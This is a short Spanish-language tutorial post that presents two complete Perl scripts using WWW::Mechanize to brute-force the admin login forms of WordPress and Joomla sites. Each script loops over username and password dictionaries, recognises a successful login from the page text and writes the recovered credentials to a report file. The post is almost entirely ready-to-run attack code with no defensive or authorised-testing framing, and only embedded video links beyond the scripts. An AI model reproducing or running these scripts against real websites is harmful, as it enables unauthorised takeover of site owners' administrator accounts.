Pequeño tutorial de como construir scripts con Perl para explotar los formularios de login de Wordpress y Joomla mediante fuerza bruta.
wordpress-login.pl
[youtube=640,360]https://www.youtube.com/watch?v=2p9L2WcGmmQ[/youtube]
joomla-login.pl
[youtube=640,360]https://www.youtube.com/watch?v=R0IBBlyGjq8[/youtube]
wordpress-login.pl
Código (perl) [Seleccionar]
#!c:/strawberry/perl/bin/perl.exe
#Evitar caracteres extraños en la consola de windows
binmode(STDOUT, ":encoding(cp850)");
binmode(STDIN, ":encoding(cp850)");
use WWW::Mechanize;
use strict;
#parámetros para el script
my $url = $ARGV[0];
my $admin = $ARGV[1];
my $password = $ARGV[2];
my $reporte = $ARGV[3];
if (!@ARGV)
{
print "wordpress-login.pl <url> <admin> <password> opcional<reporte>";
}
else
{
my $mechanize = WWW::Mechanize->new();
#url de destino
$mechanize->get($url);
#Abrir el diccionario para admin
open(ADMIN, "<", $admin) || die("Error al abrir el diccionario para admin");
while(<ADMIN>)
{
my $adm = $_;
chomp($adm);
#Abrir el diccionario para password
open(PASSWORD, "<", $password) || die("Error al abrir el diccionario para password");
while (<PASSWORD>)
{
chomp($_);
#Enviar el formulario
$mechanize->submit_form
(
form_id => "loginform",
fields => {log => $adm, pwd => $_}
);
print "$adm:$_\n";
my $content = $mechanize->content;
#comprobar el contenido
if ($content =~ /Bienvenido/ || $content =~ /Welcome/)
{
print "\n\n¡¡¡¡DATOS DE ACCESO!!!! $adm:$_\n\n";
if ($reporte)
{
open(REPORTE, ">", $reporte);
print REPORTE "¡¡¡¡DATOS DE ACCESO!!!! $adm:$_";
close(REPORTE);
print "####Datos guardados en $reporte####\n";
}
exit;
}
}
close(PASSWORD);
}
close(ADMIN);
}
[youtube=640,360]https://www.youtube.com/watch?v=2p9L2WcGmmQ[/youtube]
joomla-login.pl
Código (perl) [Seleccionar]
#!c:/strawberry/perl/bin/perl.exe
#Evitar caracteres extraños en la consola de windows
binmode(STDOUT, ":encoding(cp850)");
binmode(STDIN, ":encoding(cp850)");
use WWW::Mechanize;
use strict;
#parámetros para el script
my $url = $ARGV[0];
my $admin = $ARGV[1];
my $password = $ARGV[2];
my $reporte = $ARGV[3];
if (!@ARGV)
{
print "joomla-login.pl <url> <admin> <password> opcional<reporte>";
}
else
{
my $mechanize = WWW::Mechanize->new();
#url de destino
$mechanize->get($url);
#Abrir el diccionario para admin
open(ADMIN, "<", $admin) || die("Error al abrir el diccionario para admin");
while(<ADMIN>)
{
my $adm = $_;
chomp($adm);
#Abrir el diccionario para password
open(PASSWORD, "<", $password) || die("Error al abrir el diccionario para password");
while (<PASSWORD>)
{
chomp($_);
#Enviar el formulario
$mechanize->submit_form
(
form_id => "form-login",
fields => {username => $adm, passwd => $_}
);
print "$adm:$_\n";
my $content = $mechanize->content;
#comprobar el contenido
if ($content =~ /Panel de Control/ || $content =~ /Control Panel/)
{
print "\n\n¡¡¡¡DATOS DE ACCESO!!!! $adm:$_\n\n";
if ($reporte)
{
open(REPORTE, ">", $reporte);
print REPORTE "¡¡¡¡DATOS DE ACCESO!!!! $adm:$_";
close(REPORTE);
print "####Datos guardados en $reporte####\n";
}
exit;
}
}
close(PASSWORD);
}
close(ADMIN);
}
[youtube=640,360]https://www.youtube.com/watch?v=R0IBBlyGjq8[/youtube]